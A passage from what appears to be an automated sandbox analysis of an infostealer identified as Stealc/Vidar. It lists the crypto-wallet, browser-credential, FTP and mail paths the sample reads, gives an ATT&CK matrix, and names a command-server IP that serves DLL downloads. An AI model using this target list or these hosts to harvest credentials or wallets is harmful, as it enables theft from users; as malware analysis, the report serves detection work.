Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\._

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2682684437.0000000000171000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261862235.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	631 Security Software Discovery	Remote Desktop Protocol	4 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	216.58.212.174	true	false	unknown
play.google.com	216.58.206.46	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
sb.scorecardresearch.com	18.244.18.38	true	false	unknown
www.google.com	172.217.18.100	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.16.193	true	false	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730212066100&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://c.msn.com/c.gif?rnd=1730212066102&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=37ecba0705714c7ca36a2ae26a51b615&activityId=37ecba0705714c7ca36a2ae26a51b615&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	unknown
https://sb.scorecardresearch.com/b2?rn=1730212066102&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=332D7C0E6DDC69643E2069296C7D689D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730212069674&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://buymyshit.moneygrubbingwhore.com/	Ruleset Data.10.dr	false		unknown
https://www.g4mz.com/	Ruleset Data.10.dr	false		unknown
https://t.hrtyj.com/	Ruleset Data.10.dr	false		unknown
https://www.amarotic.com/	Ruleset Data.10.dr	false		unknown
https://easylist.to/)	LICENSE.10.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.10.dr	false	URL Reputation: safe	unknown
https://mypatriotsupply.com/	Ruleset Data.10.dr	false		unknown
https://docs.google.com/	manifest.json0.10.dr	false		unknown
https://www.gotporn.com/click.php?id=	Ruleset Data.10.dr	false		unknown
https://bogged.finance/	Ruleset Data.10.dr	false		unknown
https://tracking.gitads.io/	Ruleset Data.10.dr	false		unknown
https://t.adating.link/	Ruleset Data.10.dr	false		unknown
https://www.mrskin.com/account/	Ruleset Data.10.dr	false		unknown
http://redirect.viglink.com	Ruleset Data.10.dr	false		unknown
https://vlnk.me/	Ruleset Data.10.dr	false		unknown
https://beap.gemini.yahoo.com/mbclk?	Ruleset Data.10.dr	false		unknown
http://www.rpg.net/ads/	Ruleset Data.10.dr	false		unknown
http://www.dhgate.com/	Ruleset Data.10.dr	false		unknown
https://www.amazon.	Ruleset Data.10.dr	false		unknown
https://www.appliedenergysystems.com/stakes/	Ruleset Data.10.dr	false		unknown
https://myusenet.xyz/	Ruleset Data.10.dr	false		unknown
https://go.thn.li/	Ruleset Data.10.dr	false		unknown
https://tinyurl.com/	Ruleset Data.10.dr	false		unknown
https://www.roaradventures.com/	Ruleset Data.10.dr	false		unknown
https://h5.whalefin.com/landing2/	Ruleset Data.10.dr	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JDAKJDAAFBKFHIEBFCFB.0.dr	false		unknown
https://tracking.trackcasino.co/	Ruleset Data.10.dr	false		unknown
https://trf.bannerator.com/	Ruleset Data.10.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		unknown
https://t.grtyi.com/	Ruleset Data.10.dr	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllM	file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://totsantcugat.info/wp-content/video.php	Ruleset Data.10.dr	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllQ	file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ad.yieldmanager.com/	Ruleset Data.10.dr	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false	URL Reputation: safe	unknown
https://traffdaq.com/	Ruleset Data.10.dr	false		unknown
https://tour.mrskin.com/	Ruleset Data.10.dr	false		unknown
https://www.bleepingcomputer.com/go/	Ruleset Data.10.dr	false		unknown
http://l-13.org/	Ruleset Data.10.dr	false		unknown
https://freehdinterracialporn.in/	Ruleset Data.10.dr	false		unknown
http://www.adpeepshosted.com/adpeeps.php?	Ruleset Data.10.dr	false		unknown
http://www.reimageplus.com/	Ruleset Data.10.dr	false		unknown
https://gen4ever.com/	Ruleset Data.10.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.10.dr	false		unknown
https://go.stormgain.com/	Ruleset Data.10.dr	false		unknown
https://wantopticalfreelance.com/	Ruleset Data.10.dr	false		unknown
https://secure.bstlnk.com/	Ruleset Data.10.dr	false		unknown
https://track.trkinator.com/	Ruleset Data.10.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpne	file.exe, 00000000.00000003.2577179132.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recall-email.onelink.me/	Ruleset Data.10.dr	false		unknown
https://track.52zxzh.com/	Ruleset Data.10.dr	false		unknown
https://offer.alibaba.com/	Ruleset Data.10.dr	false		unknown
https://ptapjmp.com/	Ruleset Data.10.dr	false		unknown
http://www.danhotels.com/JerusalemHotels/?utm_	Ruleset Data.10.dr	false		unknown
https://mk-ads.com/	Ruleset Data.10.dr	false		unknown
https://transfer.xe.com/signup/track/redirect?	Ruleset Data.10.dr	false		unknown
https://camsfinders.com/	Ruleset Data.10.dr	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp	false	URL Reputation: safe	unknown
